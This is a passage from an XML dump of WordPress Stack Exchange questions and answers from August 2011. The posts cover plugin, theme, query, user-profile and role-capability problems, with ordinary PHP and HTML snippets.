  <row Id="25649" PostTypeId="1" AcceptedAnswerId="25651" CreationDate="2011-08-11T14:49:22.957" Score="1" ViewCount="82" Body="&lt;p&gt;I recently updated my site to wordpress 3.2.1 automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I tried to manage my sidebar widgets, and noticed I can no longer drag and drop the widgets around. If I look into my browser-console, I notice that the page is unable to load jQuery. Weird: it appends my root-url to the jquery-url, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://meanderend.dixis.com//ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js?ver=3.2.1&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it is normal that it is not found. How can I &#xA;fix this. Is there something wrong in my configuration? Or is this a bug? Then it should be general, for everybody, no?&lt;/p&gt;&#xA;" OwnerUserId="6119" LastActivityDate="2011-08-11T14:56:27.087" Title="cannot drag and drop widgets since wordpress 3.2.1" Tags="&lt;jquery&gt;&lt;3.2&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25650" PostTypeId="1" CreationDate="2011-08-11T14:55:38.570" Score="0" ViewCount="19" Body="&lt;p&gt;I have a network of blog, everyone with it's own installation of wordpress. Now I want to add social features to the sites but I want to unify all the activity of the blogs in one place. I would prefer to have every blog in it's own installation. Is there a way to install buddypress in one site and collect there the activity of all blogs? and have the user accounts synced across the network?&lt;/p&gt;&#xA;" OwnerUserId="1140" LastActivityDate="2011-08-11T15:14:05.237" Title="One buddypress installation collects activity from various independent blogs" Tags="&lt;users&gt;&lt;buddypress&gt;&lt;community&gt;" AnswerCount="1" />
  <row Id="25651" PostTypeId="2" ParentId="25649" CreationDate="2011-08-11T14:56:27.087" Score="4" ViewCount="" Body="&lt;p&gt;Your theme may be written badly and replace the correct jQuery. Switch to TwentyEleven to check for this. If this doesn’t help, turn off all plugins and re-enable them step by step.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-08-11T14:56:27.087" CommentCount="2" />
  <row Id="25652" PostTypeId="2" ParentId="25650" CreationDate="2011-08-11T15:14:05.237" Score="0" ViewCount="" Body="&lt;p&gt;Why would you prefer individual installations? You can enable/disable themes on a per-blog basis and do the same for plugins using &lt;a href=&quot;http://wordpress.org/extend/plugins/multisite-plugin-manager/&quot; rel=&quot;nofollow&quot;&gt;Multisite Plugin Manager&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-11T15:14:05.237" CommentCount="1" />
  <row Id="25653" PostTypeId="2" ParentId="25645" CreationDate="2011-08-11T15:16:44.743" Score="0" ViewCount="" Body="&lt;p&gt;Personaly i already used the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-postviews/&quot; rel=&quot;nofollow&quot;&gt;wp-postviews&lt;/a&gt; plugin and it works fine. Comes with a widget to display the list in a sidebar.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-08-11T15:16:44.743" />
  <row Id="25654" PostTypeId="2" ParentId="4673" CreationDate="2011-08-11T15:31:29.447" Score="0" ViewCount="" Body="&lt;p&gt;You should use wp_enqueue_style like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style( 'my-style', get_template_directory_uri() . '/css/my-style.css', false, '1.0', 'all' ); // Inside a parent theme&#xA;wp_enqueue_style( 'my-style', get_stylesheet_directory_uri() . '/css/my-style.css', false, '1.0', 'all' ); // Inside a child theme&#xA;wp_enqueue_style( 'my-style', plugins_url( '/css/my-style.css', __FILE__ ), false, '1.0', 'all' ); // Inside a plugin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;" OwnerUserId="7786" LastEditorUserId="7786" LastEditorDisplayName="" LastEditDate="2011-08-11T15:41:08.777" LastActivityDate="2011-08-11T15:41:08.777" />
  <row Id="25655" PostTypeId="1" CreationDate="2011-08-11T15:32:02.500" Score="0" ViewCount="26" Body="&lt;p&gt;I have an array of post ids which I'm passing to query_posts using 'post__in'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how can I use the order from my array rather than ordering by 'date' etc?&lt;/p&gt;&#xA;" OwnerUserId="7819" LastActivityDate="2011-08-14T16:56:46.883" Title="Order posts using a custom array" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;sort&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25656" PostTypeId="1" CreationDate="2011-08-11T15:36:26.253" Score="0" ViewCount="14" Body="&lt;p&gt;I have a custom post type event&#xA;I save START DATE and END DATE as UNIXtimestamp.&#xA;I am trying to sort my events by month but I am having difficulties filtering by the month.&#xA;I think my problem is converting the timestamp to recognize  the month&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My filter/select list are Months, value are 01 to 12.&#xA;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`$args = array(&#xA;'post_type' =&amp;gt; 'sp_events',&#xA;'numberposts' =&amp;gt; -1,&#xA;'meta_key' =&amp;gt; 'events_startdate',&#xA;'meta_query'  =&amp;gt; array(&#xA;    array( &#xA;     'key'     =&amp;gt; 'events_startdate',&#xA;     'value'   =&amp;gt; strftime(date(&quot;%m&quot;)),&#xA;     'compare' =&amp;gt; '=',&#xA;     'type'    =&amp;gt; 'NUMERIC'&#xA;  )&#xA;),&#xA;'orderby' =&amp;gt; 'meta_value',&#xA;'order' =&amp;gt; 'ASC'&#xA;);`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will apreciate some help.&#xA;thx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;s&lt;/p&gt;&#xA;" OwnerUserId="2597" LastActivityDate="2011-08-11T15:36:26.253" Title="Query meta_key using Unixtimestamp" Tags="&lt;query&gt;" />
  <row Id="25657" PostTypeId="1" AcceptedAnswerId="25658" CreationDate="2011-08-11T15:42:23.063" Score="1" ViewCount="19" Body="&lt;p&gt;I want to validate this deprecated function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('user_has_cap', array(&amp;amp;$this, 'filter_user_has_cap'), 10, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It needs to use roles or capatibilies, so I guess 10 is the admin level, so I could use &quot;edit_pages&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('user_has_cap', array(&amp;amp;$this, 'filter_user_has_cap'), 'edit_pages', 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what is argument &quot;3&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&#xA;Oliver&lt;/p&gt;&#xA;" OwnerUserId="7820" LastActivityDate="2011-08-11T16:03:41.460" Title="How to validate this deprecated function" Tags="&lt;functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25658" PostTypeId="2" ParentId="25657" CreationDate="2011-08-11T16:03:41.460" Score="1" ViewCount="" Body="&lt;p&gt;First of all, it's not the add_filter() call that you're supposed to be modifying, but the callback: 'filter_user_has_cap', i.e. go to where that method is defined and change the user level to 'edit_pages'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fixing deprecated notices is easier with the &lt;a href=&quot;http://wordpress.org/extend/plugins/log-deprecated-notices/&quot; rel=&quot;nofollow&quot;&gt;Log Deprecated Notices&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-11T16:03:41.460" CommentCount="1" />
  <row Id="25659" PostTypeId="1" CreationDate="2011-08-11T16:11:51.327" Score="1" ViewCount="54" Body="&lt;p&gt;I've queried all children of the post, and two records are shown. This is ok because there are 2 images in the gallery, but I can see no field in the database which makes it clear which one is the featured image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have joined the wp_postmeta table also, but there is no meta_key which indicates which of the 2 is the featured image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I do not want to look in the admin panel, I need a programmatic way to determine from the current database setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone know how the system knows which is the featured image in the db?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4816" LastActivityDate="2011-08-11T17:46:43.407" Title="how do I determine which image is the featured image in the database" Tags="&lt;database&gt;&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="25660" PostTypeId="1" CreationDate="2011-08-11T16:12:01.450" Score="0" ViewCount="13" Body="&lt;p&gt;We're using a homebrewed method to publish a multilingual (english french) WP site. We've elected to use taxonomy as our language differentiating method so a post url might be 'mysite.com/en/post-slug/' or 'mysite.com/fr/french-post-slug/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far this works well enough for our humble purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The challenge is now we need to redirect such that french visitors will go to myfrenchsite.com/french-post-slug/ and be served content from mysite.com/fr/french-post-slug/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;without changing the URL&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(they should still see myfrenchsite.com/french-post-slug)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My gut tells me this should be possible with mod-rewrite altogether, or possibly an additional hook into wp_rewrite to give it a little octane boost. Before I waste the next week trying to figure it out, does anyone have pointers, suggestions, or solutions (other than plugins - we're now invested in our homegrown approach for this particular site)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, everyone's input is greatly appreciated here!&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-08-11T16:12:01.450" Title="Multilingual site redirect" Tags="&lt;redirect&gt;&lt;mod-rewrite&gt;&lt;localization&gt;" />
  <row Id="25661" PostTypeId="2" ParentId="16524" CreationDate="2011-08-11T16:16:08.343" Score="0" ViewCount="" Body="&lt;p&gt;You can use the &lt;a href=&quot;http://www.nsp-code.com/premium-plugins/wordpress-plugins/advanced-taxonomy-terms-order/&quot; rel=&quot;nofollow&quot;&gt;Advanced Taxonomy Terms Order&lt;/a&gt; it's a great plugin for terms order&lt;/p&gt;&#xA;" OwnerUserId="5344" LastActivityDate="2011-08-11T16:16:08.343" CommentCount="1" />
  <row Id="25662" PostTypeId="2" ParentId="22407" CreationDate="2011-08-11T16:24:11.013" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to Tom's help, here's what I ended up with. This uses the built in functionality for password-protecting a post, so a visitor only has to enter a password on the home page, then they are taken to the post and are able to directly view the post content without re-entering the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On home page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;password&quot; name=&quot;passwordfield&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;homepagepassword&quot; value=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;functions.php&lt;/code&gt; (of course this could be converted to a plugin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_POST['homepagepassword'])){&#xA;    $post_password = $_POST['passwordfield'];&#xA;    $post_id = $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare(&quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_password = %d&quot;, $post_password) );&#xA;    $q = new WP_Query( 'p=$post_id' );&#xA;    if($q-&amp;gt;have_posts()){&#xA;        while($q-&amp;gt;have_posts()){&#xA;            $q-&amp;gt;the_post();&#xA;            wp_redirect(get_permalink());&#xA;            die();&#xA;        }&#xA;    } else {&#xA;        // oh dear, there isnt a post with this 'password', put a redirect to a fallback here&#xA;        wp_redirect('http://www.google.com');&#xA;        die();&#xA;    }&#xA;    wp_reset_query();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-08-11T16:24:11.013" />
  <row Id="25663" PostTypeId="2" ParentId="8802" CreationDate="2011-08-11T16:30:18.480" Score="0" ViewCount="" Body="&lt;p&gt;This plugin seen to work the best for me.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-fb-comments/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-fb-comments/&lt;/a&gt;&#xA;256studio&lt;/p&gt;&#xA;" OwnerUserId="7822" LastActivityDate="2011-08-11T16:30:18.480" />
  <row Id="25664" PostTypeId="1" CreationDate="2011-08-11T16:41:57.973" Score="0" ViewCount="16" Body="&lt;p&gt;I'm about to start on a (WordPress) project for a client which will require a search engine that is able to search for posts/pages based on their categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I have used WordPress for a few projects, I've never really delved into the search.php page enough to understand exactly what it is capable of. However, I'm wondering whether it is possible to customise this so that 1) you can have numerous search bars which index certain parts of the Web site and 2) you can allow the search bar to ONLY search the keywords based on the categories set up in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example might make what I'm saying a little bit clearer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine I have a site that promotes different events, and all of the different types of events have their own page. The events can be created using posts and then allocated to categories (e.g. Dancing events, music, corporate etc) using the WordPress backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decide to search 'Dancing' within the search bar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I then go about creating a search bar which searches for all posts which match 'Dancing' based on their categories, rather than searching the ENTIRE site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I also be able to get it to display only the posts and not other areas of the site such as pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And last but not least, is there a way to prioritise the search results? E.g. if I considered posts within a certain post-type to be more important than others, could i make sure that these posts are always displayed before any others?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to the replies,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :-)&lt;/p&gt;&#xA;" OwnerUserId="5883" LastActivityDate="2011-08-11T16:41:57.973" Title="Search bar for Post categories" Tags="&lt;categories&gt;" />
  <row Id="25665" PostTypeId="2" ParentId="25635" CreationDate="2011-08-11T16:59:11.737" Score="0" ViewCount="" Body="&lt;p&gt;You only need to of these hooks &lt;code&gt;show_user_profile&lt;/code&gt; to show the extra fields and  &lt;code&gt;personal_options_update&lt;/code&gt; to update, try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;ob_start();&#xA;include_once(&quot;../../../wp-load.php&quot;);&#xA;get_header(); &#xA;&#xA;/* Get user info. */&#xA;&#xA;global $current_user, $wp_roles;&#xA;get_currentuserinfo();&#xA;&#xA;/* Load the registration file. */&#xA;require_once( ABSPATH . WPINC . '/registration.php' );&#xA;&#xA;/* If profile was saved, update profile. */&#xA;if ( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp; $_POST['action'] == 'update-user' ) {&#xA;&#xA;    /* Update user password. */&#xA;    if ( !empty($_POST['pass1'] ) &amp;amp;&amp;amp; !empty( $_POST['pass2'] ) ) {&#xA;        if ( $_POST['pass1'] == $_POST['pass2'] )&#xA;            wp_update_user( array( 'ID' =&amp;gt; $current_user-&amp;gt;id, 'user_pass' =&amp;gt; esc_attr( $_POST['pass1'] ) ) );&#xA;        else&#xA;            $error = __('The passwords you entered do not match.  Your password was not updated.', 'profile');&#xA;    }&#xA;&#xA;&#xA;&#xA;    /* Update user information. */&#xA;    if ( !empty( $_POST['url'] ) )&#xA;        update_usermeta( $current_user-&amp;gt;id, 'user_url', esc_url( $_POST['url'] ) );&#xA;    if ( !empty( $_POST['email'] ) )&#xA;        update_usermeta( $current_user-&amp;gt;id, 'user_email', esc_attr( $_POST['email'] ) );&#xA;    if ( !empty( $_POST['first-name'] ) )&#xA;        update_usermeta( $current_user-&amp;gt;id, 'first_name', esc_attr( $_POST['first-name'] ) );&#xA;    if ( !empty( $_POST['last-name'] ) )&#xA;        update_usermeta($current_user-&amp;gt;id, 'last_name', esc_attr( $_POST['last-name'] ) );&#xA;    if ( !empty( $_POST['yim'] ) )&#xA;        update_usermeta($current_user-&amp;gt;id, 'yim', esc_attr( $_POST['yim'] ) );&#xA;    if ( !empty( $_POST['description'] ) )&#xA;        update_usermeta( $current_user-&amp;gt;id, 'description', esc_attr( $_POST['description'] ) );&#xA;&#xA;    //extra fields (simple local avatars ....)&#xA;        do_action('personal_options_update', $current_user-&amp;gt;id);&#xA;&#xA;    /* Redirect so the page will show updated info. */&#xA;    if ( !$error ) {&#xA;&#xA;&#xA;header(&quot;Location: &quot;.$_SERVER['PHP_SELF']);&#xA;&#xA;        exit;&#xA;ob_flush();&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content entry&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;                &amp;lt;?php if ( !is_user_logged_in() ) : ?&amp;gt;&#xA;                        &amp;lt;p class=&quot;warning&quot;&amp;gt;&#xA;                            &amp;lt;?php _e('You must be logged in to edit your profile.', 'profile'); ?&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .warning --&amp;gt;&#xA;                &amp;lt;?php else : ?&amp;gt;&#xA;                    &amp;lt;?php if ( $error ) echo '&amp;lt;p class=&quot;error&quot;&amp;gt;' . $error . '&amp;lt;/p&amp;gt;'; ?&amp;gt;&#xA;                    &amp;lt;form method=&quot;post&quot; id=&quot;adduser&quot; action=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-username&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;first-name&quot;&amp;gt;&amp;lt;?php _e('First Name', 'profile'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;first-name&quot; type=&quot;text&quot; id=&quot;first-name&quot; value=&quot;&amp;lt;?php the_author_meta( 'user_firstname', $current_user-&amp;gt;id ); ?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-username --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-username&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;last-name&quot;&amp;gt;&amp;lt;?php _e('Last Name', 'profile'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;last-name&quot; type=&quot;text&quot; id=&quot;last-name&quot; value=&quot;&amp;lt;?php the_author_meta( 'user_lastname', $current_user-&amp;gt;id ); ?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-username --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-email&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;email&quot;&amp;gt;&amp;lt;?php _e('E-mail *', 'profile'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;email&quot; type=&quot;text&quot; id=&quot;email&quot; value=&quot;&amp;lt;?php the_author_meta( 'user_email', $current_user-&amp;gt;id ); ?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-email --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-url&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;url&quot;&amp;gt;&amp;lt;?php _e('Website', 'profile'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;url&quot; type=&quot;text&quot; id=&quot;url&quot; value=&quot;&amp;lt;?php the_author_meta( 'user_url', $current_user-&amp;gt;id ); ?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-url --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-yim&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;yim&quot;&amp;gt;yahoo&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;yim&quot; type=&quot;text&quot; id=&quot;yim&quot; value=&quot;&amp;lt;?php the_author_meta( 'yim', $current_user-&amp;gt;id ); ?&amp;gt;&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-yim --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-password&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;pass1&quot;&amp;gt;&amp;lt;?php _e('Password *', 'profile'); ?&amp;gt; &amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;pass1&quot; type=&quot;password&quot; id=&quot;pass1&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-password --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-password&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;pass2&quot;&amp;gt;&amp;lt;?php _e('Repeat Password *', 'profile'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input class=&quot;text-input&quot; name=&quot;pass2&quot; type=&quot;password&quot; id=&quot;pass2&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-password --&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-textarea&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;description&quot;&amp;gt;&amp;lt;?php _e('Biographical Information', 'profile') ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;textarea name=&quot;description&quot; id=&quot;description&quot; rows=&quot;3&quot; cols=&quot;50&quot;&amp;gt;&amp;lt;?php the_author_meta( 'description', $current_user-&amp;gt;id ); ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-textarea --&amp;gt;&#xA;                        &amp;lt;?php do_action('show_user_profile',$current_user-&amp;gt;id); ?&amp;gt;&#xA;                        &amp;lt;p class=&quot;form-submit&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $referer; ?&amp;gt;&#xA;                            &amp;lt;input name=&quot;updateuser&quot; type=&quot;submit&quot; id=&quot;updateuser&quot; class=&quot;submit button&quot; value=&quot;&amp;lt;?php _e('Update', 'profile'); ?&amp;gt;&quot; /&amp;gt;&#xA;                            &amp;lt;?php wp_nonce_field( 'update-user' ) ?&amp;gt;&#xA;                            &amp;lt;input name=&quot;action&quot; type=&quot;hidden&quot; id=&quot;action&quot; value=&quot;update-user&quot; /&amp;gt;&#xA;                        &amp;lt;/p&amp;gt;&amp;lt;!-- .form-submit --&amp;gt;&#xA;                    &amp;lt;/form&amp;gt;&amp;lt;!-- #adduser --&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .hentry .post --&amp;gt;&#xA;            &amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-11T16:59:11.737" CommentCount="8" />
  <row Id="25666" PostTypeId="1" CreationDate="2011-08-11T17:06:17.500" Score="0" ViewCount="21" Body="&lt;p&gt;I want to be able to use two galleries on one page, however this plugin won't allow it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://thriveweb.com.au/the-lab/wordpress-gallery-plugin-photospace-2/&quot; rel=&quot;nofollow&quot;&gt;http://thriveweb.com.au/the-lab/wordpress-gallery-plugin-photospace-2/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are solutions could I use besides using an iframe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of a page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[photospace horizontal_thumb=true include=&quot;19,20,21,22,23,24,11,13,16,17&quot;]&#xA;&#xA;[photospace horizontal_thumb=true exclude=&quot;19,20,21,22,23,24,11,13,16,17&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7824" LastActivityDate="2011-08-11T17:06:17.500" Title="Two instances of a gallery/slideshow container" Tags="&lt;plugins&gt;&lt;php&gt;&lt;jquery&gt;&lt;gallery&gt;&lt;slideshow&gt;" CommentCount="1" />
  <row Id="25667" PostTypeId="2" ParentId="25643" CreationDate="2011-08-11T17:20:10.347" Score="0" ViewCount="" Body="&lt;p&gt;The user roles and capabilities are saved in the database so once you have you have used &lt;code&gt;add_role()&lt;/code&gt; its saved and then next load WordPress will know that role just like the built in roles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you look at the function &lt;code&gt;add_role()&lt;/code&gt; more specifically &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/capabilities.php#L141&quot; rel=&quot;nofollow&quot;&gt;at line 141&lt;/a&gt; you will see that it only saves the role and capabilities in the database if the var &lt;code&gt;$use_db&lt;/code&gt; is set to true (which he is by default) so you can simply change it before you call your &lt;code&gt;add_role()&lt;/code&gt; function and the role won't be saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//globalize $wp_roles&#xA;global $wp_roles;&#xA;//set use_db to flase&#xA;$wp_roles-&amp;gt;use_db = false;&#xA;//then add your role&#xA;$wp_roles-&amp;gt;add_role( $role, $display_name, $capabilities );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its in a test/development environment then i see no downside, but if you are on a live environment then you save the time it take to create that on role every load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for best practice run once, if in a plugin you should use &lt;code&gt;register_activation_hook&lt;/code&gt; and for any thing else i use a simple custom made conditional function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function run_once($key){&#xA;    $test_case = get_option('run_once');&#xA;    if (isset($test_case[$key]) &amp;amp;&amp;amp; $test_case[$key]){&#xA;        return false;&#xA;    }else{&#xA;        $test_case[$key] = true;&#xA;        update_option('run_once',$test_case);&#xA;        return true;&#xA;    }&#xA;}&#xA;&#xA;**usage:**&#xA;if (run_once('add_user_role')){&#xA;    //do you stuff and it will only run once&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-11T17:41:56.800" LastActivityDate="2011-08-11T17:41:56.800" CommentCount="2" />
  <row Id="25668" PostTypeId="1" CreationDate="2011-08-11T17:23:32.330" Score="-4" ViewCount="57" Body="&lt;p&gt;I've tried using Advanced Custom Field with Artisteer theme, and it failed,&#xA;I used the code from the video demo in &#xA;&lt;a href=&quot;http://plugins.elliotcondon.com/advanced-custom-fields/demonstration/&quot; rel=&quot;nofollow&quot;&gt;http://plugins.elliotcondon.com/advanced-custom-fields/demonstration/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only 3 fields need to be inserted in my blog post: &#xA;Link: (text)&#xA;Review: (text area)&#xA;Recommendation: (text)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me, what code should I put and where should I put it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="7826" LastEditorUserId="7826" LastEditorDisplayName="" LastEditDate="2011-08-11T17:56:49.573" LastActivityDate="2011-08-11T17:56:49.573" Title="Help with advanced custom fields plugin and artisteer theme" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" CommentCount="2" />
  <row Id="25669" PostTypeId="2" ParentId="25626" CreationDate="2011-08-11T17:25:08.207" Score="2" ViewCount="" Body="&lt;p&gt;You will need to hook into &lt;code&gt;attachment_fields_to_edit&lt;/code&gt; and unset them for a role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;current_user_can('author')&lt;/code&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/current_user_can&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/current_user_can&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example to remove image alt field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_caption($form_fields) {&#xA;&#xA;  if (current_user_can('author')){&#xA;   $form_fields['image_alt']['input'] = 'hidden';&#xA;   return $form_fields;&#xA;}}&#xA;add_filter('attachment_fields_to_edit','remove_caption', 15, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My initial post used &lt;code&gt;unset&lt;/code&gt; but I tried it and it did not work, from the example in this post: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14817/how-can-i-remove-fields-in-the-attachment-editor&quot;&gt;How can I remove fields in the attachment editor?&lt;/a&gt; 